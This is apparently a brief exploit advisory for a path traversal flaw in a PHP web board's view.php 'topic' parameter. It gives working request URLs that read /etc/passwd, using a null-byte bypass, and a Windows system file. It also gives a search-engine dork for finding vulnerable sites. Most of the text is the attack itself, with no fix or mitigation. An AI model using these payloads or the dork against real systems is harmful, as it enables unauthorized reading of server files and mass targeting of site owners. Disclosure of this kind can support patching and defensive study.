Greetz to all my friends  
There are 3 vulnerable calls to fopen() in "/webboard/view.php"  
They are on lines 7, 109 and 113. I have not actually read the  
source but based on tests I would GUESS they look something  
like this...  
7: fopen('title/' . $_GET['topic'] . '.txt');  
109: fopen('counter/read/' . $_GET['topic'] . '.txt');  
113: fopen('counter/read/' . $_GET['topic'] . '.txt');  
Due to the trailing ".txt", retrieving files with different  
extensions will be difficult unless you are able to get a  
null byte through without it being escaped.  
Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00  
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula  
Dork: inurl:"webboard/view.php?topic="
